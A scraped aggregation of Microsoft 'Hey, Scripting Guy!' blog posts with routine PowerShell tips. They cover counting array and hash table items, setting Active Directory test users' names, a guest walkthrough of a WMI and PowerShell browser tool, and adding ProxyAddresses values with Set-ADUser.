I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

PowerTip: Find Number Elements in a PowerShell Array

$
0
0

Summary: Easily find the number of elements in a Windows PowerShell array.

Hey, Scripting Guy! Question How can I find how many elements are in a Windows PowerShell array?

Hey, Scripting Guy! Answer You can find the number of elements in a Windows PowerShell array in the following ways:

[array]$a = 1,2,3,4,5

$a.Count

$a.Length

$a.GetUpperBound(0)


Use PowerShell to Create First and Last Names for Test Users

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to use Windows PowerShell to create first and last names in Active Directory for test users.

Hey, Scripting Guy! Question Hey, Scripting Guy! I have a test environment set up, and I created a bunch of users in an organizational unit in Active Directory. But I only created the user name—I did not create the first and the last names of the users. Now I would like to do this, but I am afraid it will be too much work. Should I go back to my original test script, or do you know a shortcut?

—BW

Hey, Scripting Guy! Answer Hello BW,

Microsoft Scripting Guy, Ed Wilson, is here. Well, right now I am not drinking any tea. Nor coffee. Or even water. I am sitting here checking my email and checking out the latest build of Windows Server 2012 R2 and Windows 8.1. It is looking really good, and I cannot wait for RTM. There is some really cool stuff here.

Anyway, BW, I am going to make an assumption that you created your users by concatenating some characters.

Note  For a great example of how to create users in Active Directory for test purposes, see the Hey, Scripting Guy! Blog post, Create Test Users in a Test Active Directory Environment by Using PowerShell.

First, run the query

The first thing I do is run a query to see what I actually have in the target organizational unit (OU). I use the Get-ADUser cmdlet from the Active Directory module for this task. Here is the command and a sample of the output:

PS C:\> get-aduser -filter * -SearchBase 'ou=testou,dc=iammred,dc=net'

 

DistinguishedName : CN=newtestuser70,OU=Testou,DC=iammred,DC=net

Enabled           : False

GivenName         :

Name              : newtestuser70

ObjectClass       : user

ObjectGUID        : c688679b-5207-49c2-89f2-33dc74d1ea0d

SamAccountName    : newtestuser70

SID               : S-1-5-21-1457956834-3844189528-3541350385-1440

Surname           :

UserPrincipalName :

Note  The results that returned from Get-ADUser showed GivenName and Surname. In ADSI Edit, the attribute names are GivenName and SN.

All of the users are named newtestuser## (with a number at the end of the name). Therefore, I decide to split the name at the letter u. The first name (GivenName) will be NewTest for all of the users, and the last name (Surname) will beUser##.

To do this, I use the Split command. An example of this technique is shown here:

PS C:\> get-aduser -filter * -SearchBase 'ou=testou,dc=iammred,dc=net' | % {$_.name -

split 'u'}

newtest

ser70

newtest

ser71

That works pretty well, but I want the last names to all be User## and not just Ser##. So I need to add back the letter “U.” I don’t feel like doing that. So I decide to try a different approach and use the Substringmethod from the String class. Because each user name is a string, I can call the Substringmethod directly. To get the first name, I start at position 0, and I count over 7 characters. This comprises the entire first name, as shown here:

PS C:\> get-aduser -filter * -SearchBase 'ou=testou,dc=iammred,dc=net' | % {($_.name)

.substring(0,7)  }

newtest

newtest

And it is shown here for the last name:

PS C:\> get-aduser -filter * -SearchBase 'ou=testou,dc=iammred,dc=net' | % {($_.name)

.substring(7)  }

user70

user71

The cool thing here is that the Substringmethod begins at the position 7 and continues to the end of the word. So it works no matter how many characters are in the user’s name.

Now to set the users’ first and last names

Now that I know the technique I will use, it is a matter of plug-and-play. Here is what I came up with (% is an alias for Foreach-Object):

get-aduser -filter * -SearchBase 'ou=testou,dc=iammred,dc=net' |

% {Set-ADUser -Identity $_ -GivenName ($_.name).substring(0,7)  -Surname ($_.name).substring(7)}

I check to ensure that it worked:

PS C:\> get-aduser -filter * -SearchBase 'ou=testou,dc=iammred,dc=net'

 

DistinguishedName : CN=newtestuser70,OU=Testou,DC=iammred,DC=net

Enabled           : False

GivenName         : newtest

Name              : newtestuser70

ObjectClass       : user

ObjectGUID        : c688679b-5207-49c2-89f2-33dc74d1ea0d

SamAccountName    : newtestuser70

SID               : S-1-5-21-1457956834-3844189528-3541350385-1440

Surname           : user70

UserPrincipalName :

 

DistinguishedName : CN=newtestuser71,OU=Testou,DC=iammred,DC=net

Enabled           : False

GivenName         : newtest

Name              : newtestuser71

ObjectClass       : user

ObjectGUID        : 3e0eb0b0-8ee7-49a1-96a2-bc20634f1648

SamAccountName    : newtestuser71

SID               : S-1-5-21-1457956834-3844189528-3541350385-1441

Surname           : user71

UserPrincipalName :

BW, that is all there is to using the Substringmethod to obtain the first and last names for test users in  Active Directory. Join me tomorrow when I will have a guest blog post by Jakob Gottlieb Svendsen. He will talk about a way cool WMI browser. You don’t want to miss it.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

PowerTip: Get the Number of Items in a Hash Table

$
0
0

Summary: Learn how to get the number of items in a Windows PowerShell hash table.

Hey, Scripting Guy! Question How can I find the number of key/value pairs that a Windows PowerShell hash table contains?

Hey, Scripting Guy! Answer Use the Count property:

PS C:\> $hash = @{'a' = 1; 'b' = 2; 'c' = 3; 'd' = 4}

PS C:\> $hash

 

Name                           Value

----                           -----

c                              3

d                              4

b                              2

a                              1

 

PS C:\> $hash.Count

4

Weekend Scripter: Introducing the PowerShell and WMI Browser

$
0
0

 

Summary: Guest blogger, Jakob Gottlieb Svendsen, talks about the Windows PowerShell and WMI browser.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have a guest blog post by Jakob Gottlieb Svendsen. But first, a little bit about Jakob…

Photo of Jakob Gottlieb Svendsen

Jakob is a senior consultant, trainer, and chief developer at Coretech A/S, where he is one of the driving forces in keeping Coretech a System Center Gold Partner and member of the System Center Alliance. Since he started at Coretech in 2007, he has focused on scripting and development, primarily developing tools, extensions, and scripts for the System Center Suite.

His main product focus is System Center Orchestrator (the former Opalis), a product he has been invited to speak about at different summits and user group meetings, leading him to become a renowned voice in his field. Since 2012, he has been travelling the world and teaching his 3-day workshop on Orchestrator, which is called “Mastering System Center Orchestrator 2012.”

He is passionately devoted to the community, and he contributes to it by being a moderator at TechNet and a member of the TechNet Influencers team, and by sharing his knowledge on his blog. In 2012, he and a two other Windows PowerShell geeks started the Danish PowerShell User Group.

Jakob’s contact info:

Blog: Coretech Blog
Twitter:@JakobGSvendsen

Coretech WMI and PowerShell Explorer

Hey scripting guys and girls!

WMI is a great tool, but can sometimes be a hassle to browse, and it can be hard to find the information you are looking for. A great quote says, “I have a love-hate relationship with WMI. I love access to everything, but I can never find it!”

To help in this matter, use a WMI browser! My great colleague, Kaido Järvemets (Enterprise Client Management MVP), has released a new WMI and Windows PowerShell browser tool. It is great for any kind of WMI browsing, but it also enables you to browse the Windows PowerShell commands on the local computer to get a list of the valid parameter sets. Because it is written completely in Windows PowerShell using WPF form, it can be a very nice inspiration for your own GUIs!

To get started, you can download the browser and learn about all the requirements and license (it’s FREE!): Coretech WMI and PowerShell Explorer.

Now let’s get busy using this tool…

Using the WMI feature

Follow these steps to start using the WMI browser.

To connect to the local computer Root\Cimv2 namespace

  1. Launch the Coretech WMI and PowerShell Explorer as an Administrator. In the upper-left corner, expand the Menu, and click Connect.

    Image of menu

  2. In the Connect dialog box, use the Browse button to browse for existing namespaces on the local computer (or you can type the Namespace information). In this example, we will connect to the Root\Cimv2 namespace.

    Image of menu

    Image of menu
  3. From the list, double-click Root\Cimv2 to add the namespace, and then click Connect.

Image of menu

With a successful connection, you are now able to browse all the Root\Cimv2 classes.

To connect to a remote computer

  1. Launch the Coretech WMI and PowerShell Explorer as an Administrator. In the upper-left corner, expand the Menu, and click Connect.
  2. In the Connect dialog box, delete the existing computer name.
  3. Type a User name and Password.
  4. Use the Browse button to browse for existing namespaces on the local computer (or you can type the Namespace information). In this example, we will connect to the Root\Cimv2 namespace.

    Image of menu 
     
  5. Click Connect to connect to the namespace. 

Note When you connect to a remote computer, some classes requires that you change the Authentication to PacketPrivacy. The six Authentication levels are:

  • None 
      No authentication is performed.
  • Connect
      Authentication is performed only when the client establishes a relationship with the application.
  • Call
      Authentication is performed only at the beginning of each call when the application receives the request.
  • Packet
      Authentication is required for all data received from the client.
  • PacketIntegrity
      All data transferred between the client and the application is authenticated and verified.
  • PacketPrivacy
      The properties of the other authentication levels are used, and all data is encrypted.

To query information from a specific WMI class

After you are connected to a namespace, you can use Query tab to query the WMI class instances. In the following example, a query lists all installed MSU updates that are listed in the Win32_QuickFixEngineering class.

  1. Connect to the Root\Cimv2 namespace, and in the Filter dialog box, type Win32_QuickFix (or select the class from the list of classes).

    Image of menu
  2. Select the Win32_QuickFixEngineering class, and then click the Query tab.
  3. Notice that the a query that will list all instances from the class is precreated (Select * from Win32_QuickFixEngineering), and it is ready to be run.

    Image of menu

  4. Click Execute to run the query and list the class instances.

    Image of menu
  5. By default, *will return all columns. You can customize the query to return specific columns by typing Select HotfixId, InstalledOn from Win32_QuickFixEngineering

    Image of menu

To export the query results

All results from a query can be exported to a CSV file.

  1. Run a WMI query, right-click any instance in the query result, and click Export Query result.

    Image of menu

  2. The Export feature automatically creates a CSV file on the desktop.

    Image of menu

To export namespace methods

The Coretech WMI and PowerShell Explorer can also be used to export all methods from a namespace. In the following example, all methods from the Root\Cimv2 namespace will be exported.

  1. Connect to Root\Cimv2, and click the NameSpace Methods tab.

    Image of menu
     
  2. Click Get Methods to get a list of all the methods in the Root\Cimv2 namespace.

    Image of menu

Using the Windows PowerShell feature

The Windows PowerShell feature can be used to browse any Windows PowerShell module. This makes it easy to read the Help files or find a command.

  1. Launch the Coretech WMI and PowerShell Explorer as an Administrator, and click the Modules tab.

    Image of menu
     
  2. Enter a module name, or click Browse to browse for a .psm1 or .psd1 file.
  3. Click Import to import the module.
  4. Click Get Modules to fill the modules drop-down list.
  5. Select a command to show the Help file.
  6. If you want a complete list of valid parameter sets for the cmdlets, click the Generate ParameterSets CSV button to export and open a CSV file.

To use Configuration Manager 2012 features

The Windows PowerShell tab also includes a special Configuration Manager 2012 feature for getting examples from the CM12 SDK website.

  1. Launch the Coretech WMI and PowerShell Explorer as an Administrator, and click the Modules tab.
  2. Click Browse and select the ConfigurationManager.psd1 file. The Windows PowerShell module is part of the Configuration Manager administrator console installation, and it is stored in one of the following locations:
       C:\Programs Files(x86)\Microsoft Configuration Manager\AdminConsole\bin\ConfigurationManager.psd1
       or
       <ConfigMgr server install dir>\AdminConsole\bin\ConfigurationManager.psd1

    Image of menu

  3. In the Coretech WMI and PowerShell Explorer, click Import.

    Image of menu

  4. During the import process, you might be presented with an error message that says Windows PowerShell is not supported in a 64-bit version. You can safely ignore that error by clicking OK.

    Image of error message

  5. Click GetModules to load the imported modules.
  6. All loaded modules will be listed in the Select Module drop-down list. In this list, click ConfigurationManager.

    Image of menu

  7. In the Select Command drop-down list, you’ll be presented with all the cmdlets in the ConfigurationManager module.

    Image of menu

  8. Select the New-CMApplication cmdlet to view the Help topics for that cmdlet.

    Image of menu

  9. In the right pane, select Download Code example from CM12 SDK. You’ll now see one or more code examples that can be used in Configuration Manager 2012.

    Image of menu

  10. Copy the example text, and launch Windows PowerShell from the System Center Configuration Manager Administrator console.

    Image of menu

  11. In Windows PowerShell, type (or paste) the code example from CM12 SDK to create the application.

    Image of command output

More features are available in the browser. Go exploring! More guides will appear very soon on Kent Agerlund's Blog.

Have fun browsing!

~Jakob Gottlieb Svendsen

Thank you, Jakob, for presenting a cool tool and an excellent post. I appreciate the time you took to do this. Join me tomorrow for more way cool Windows PowerShell stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

PowerTip: Use PowerShell to Find Status of DirectAccess Connection

$
0
0

Summary: Use Windows PowerShell in Windows 8 to find the status of DirectAccess connection.

Hey, Scripting Guy! Question How can I find the status of a DirectAccess connection in Windows 8 by using Windows PowerShell 3.0?

Hey, Scripting Guy! Answer Use the Get-DAConnectionStatus cmdlet to report a Status and a Substatus property that are useful for troubleshooting:

Get-DAConnectionStatus

Weekend Scripter: Create Proxy Addresses in Active Directory with PowerShell

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to automatically create proxy addresses in Active Directory Domain Services by using Windows PowerShell.

Microsoft Scripting Guy, Ed Wilson, is here. So I have been talking back and forth with one of the members of the Charlotte Windows PowerShell Users group since my presentation to the group on the first Thursday of the month. One of the questions he has is related to the ProxyAddresses attribute in Active Directory Domain Services (AD DS).

As you are probably aware, Microsoft Exchange Server (including in Office 365) uses ProxyAddresses as a way to send email to a user if it is addressed to another domain. There is an easy cmdlet that permits one to do this. But because my premises Exchange server is currently turned off, and I do not want to power it back up only for this, I decided to use the Set-ADUser cmdlet to modify the attribute instead. This is because the ProxyAddresses attribute is stored directly in AD DS. It is a multi-valued attribute, which means that it will accept an array of email addresses.

Today I am going to add two values to the ProxyAddresses attribute for each user in a specific organizational unit. I am not even going to write a script—it is a one-liner.

Query for existing values

I first use the Get-ADUser cmdlet to look for existing values for the ProxyAddress attribute. I am specifically targeting all users in the testou organizational unit from the iammred.net domain. The ProxyAddress attribute is not returned by default; therefore, I need to use the Propertiesparameter of the Get-ADUser cmdlet to return the ProxyAddress attribute. I use the Select-Object cmdlet to return only the name of the user and any proxy addresses. Here is the command (this is a one-line command that I broke at the pipe character for formatting on the blog page).

Get-ADUser -Filter * -SearchBase 'ou=testou,dc=iammred,dc=net' -Properties proxyaddresses |

Select-object  name, proxyaddresses

There are two reasons that I create this command. The first is so I can ensure that I have the Property (attribute) names correct, and I can see sample data from AD DS. The second reason is I use it to check my results to ensure that the command to modify the values of the attributes completes successfully.

Modify the ProxyAddresses attribute values

Groovy. I know that I can get access to the data. I know how to report the values that are stored in AD DS. Therefore, it is now time to modify the ProxyAddresses attribute values. To do this, I will use the Set-ADUser cmdlet. For this example, I am creating two new proxy addresses. Each will take the following form: UserName@Iammred.org and UserName@Iammred.com. Therefore, I can create these proxy addresses on the fly in my command. I use the following command to make the changes:

Get-ADUser -Filter * -SearchBase 'ou=testou,dc=iammred,dc=net' -Properties proxyaddresses |

Foreach {Set-ADUser -identity $_ -Add `

@{'ProxyAddresses'=@(("{0}@{1}"-f $_.name, 'Iammred.com'),("{0}@{1}" -f $_.name, 'Iammred.org'))} }

Note  The previous command is a single logical line. I broke it at the pipe character, and I added a line continuation character ( ` ) after the –Add parameter. When typing the command into the Windows PowerShell console, it is not necessary to break the command; but instead, you can permit it to wrap.

The command produces no output. Therefore, I use the Up arrow and retrieve my earlier search command. The commands and associated output are shown in the following image.

Image of command output

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Viewing all 3333 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>